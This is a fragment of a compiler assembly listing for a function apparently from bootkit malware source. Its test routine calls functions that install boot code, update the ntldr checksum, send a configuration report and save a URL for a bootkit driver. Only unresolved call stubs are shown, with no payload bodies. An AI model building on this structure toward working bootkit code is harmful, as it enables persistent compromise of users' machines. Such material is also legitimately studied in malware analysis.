DBGRPTDBG("DebugReportTest","---------"); ; 355 : DebugReportBkInstallCode(0); 0004e 6a 00 push 0 00050 e8 00 00 00 00 call ?DebugReportBkInstallCode@@YAXK@Z ; DebugReportBkInstallCode 00055 83 c4 10 add esp, 16 ; 00000010H ; 356 : ; 357 : DBGRPTDBG("DebugReportTest","---------"); ; 358 : DebugReportUpdateNtldrCheckSum(); 00058 e8 00 00 00 00 call ?DebugReportUpdateNtldrCheckSum@@YAXXZ ; DebugReportUpdateNtldrCheckSum ; 359 : ; 360 : DBGRPTDBG("DebugReportTest","---------"); ; 361 : DebugReportCreateConfigReportAndSend(); 0005d e8 00 00 00 00 call ?DebugReportCreateConfigReportAndSend@@YAXXZ ; DebugReportCreateConfigReportAndSend ; 362 : ; 363 : DBGRPTDBG("DebugReportTest","---------"); ; 364 : DebugReportSaveUrlForBootkitDriver(); 00062 e8 00 00 00 00 call ?DebugReportSaveUrlForBootkitDriver@@YA_NXZ ; DebugReportSaveUrlForBootkitDriver 00067 46 inc esi 00068 83 fe 02 cmp esi, 2 0006b 72 be jb SHORT $LL3@DebugRepor@15 0006d 5e pop esi ; 365 : } ; 366 : } 0006e c9 leave 0006f c3 ret 0 ?DebugReportRunTests@@YAXXZ ENDP ; DebugReportRunTests _TEXT ENDS END